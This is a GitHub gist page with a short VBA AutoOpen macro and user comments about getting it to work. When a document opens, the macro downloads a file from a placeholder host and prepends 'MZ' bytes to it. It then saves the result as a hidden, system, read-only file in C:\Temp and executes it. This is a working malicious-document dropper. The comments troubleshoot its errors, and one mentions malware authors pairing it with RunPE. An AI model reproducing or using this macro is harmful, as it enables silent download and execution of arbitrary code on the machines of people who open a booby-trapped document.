Skip to content

Instantly share code, notes, and snippets.

@nopslider
Last active July 26, 2023 13:11
Show Gist options
  • Star 11 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save nopslider/0d48760928642ca190ed to your computer and use it in GitHub Desktop.
Save nopslider/0d48760928642ca190ed to your computer and use it in GitHub Desktop.
A short VBA macro to download and execute a file (patching the first two bytes of the file)
Sub AutoOpen()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "https://<DOMAIN>/<FILE>", False
xHttp.Send
Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")
filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())
gobjBinaryOutputStream.Type = ADTYPEBINARY
gobjBinaryOutputStream.Open
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
gobjBinaryOutputStream.write xHttp.responseBody
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE
SetAttr filename, vbReadOnly + vbHidden + vbSystem
Shell (filename)
End Sub
@daVinci13
Copy link

Run-time error '5':

Invalid procedure call or agrument

@nopslider
Copy link
Author

Were you running from the VBA editor, or executing the procedure automatically when the document opens?

@nopslider
Copy link
Author

...it normally means the download was unsuccessful.

Copy link

ghost commented Dec 5, 2016

Based on my debug tests:
Executables "downloaded from the internet" cannot be opened via VBA Shell(filename). That's why you get run-time error '5'. Replace that line with Shell("C:\Windows\system32\calc.exe") and calc will open.

That's why (I guess) some malware authors (Dyreza spyware for example) used RunPE along with this.

@gearcapitan
Copy link

Uploading Sin título.png…

:/

@johnjohny1990
Copy link

hi
I creat but when I test display this error
Run-time error '-2146697211(800c0005)':
The system cannot locate the resource specified

@johnjohny1990
Copy link

please help me

@MantaRay95
Copy link

MantaRay95 commented Jul 4, 2019

Hi. I am getting a error in saving the file. runtime error 3004 (in line 23). Is it a privilege problem. I am in the administrator account. Can you help me in fixing this one? Thankz.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment